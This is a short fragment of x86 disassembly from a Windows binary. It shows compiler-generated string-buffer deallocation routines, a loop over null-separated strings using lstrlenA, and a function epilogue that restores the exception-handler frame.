push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x43c6e0
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c6d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov esi, dword [ebp - 0x16c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0x16c], esi
cmp byte [esi], 0
jne 0x43b6d0
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x43c739
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c72f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp ecx, 0x10
jb 0x43c78a
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c780
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x43c7ba
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c7b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7db
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.00402270
call fcn.004e47b0
int3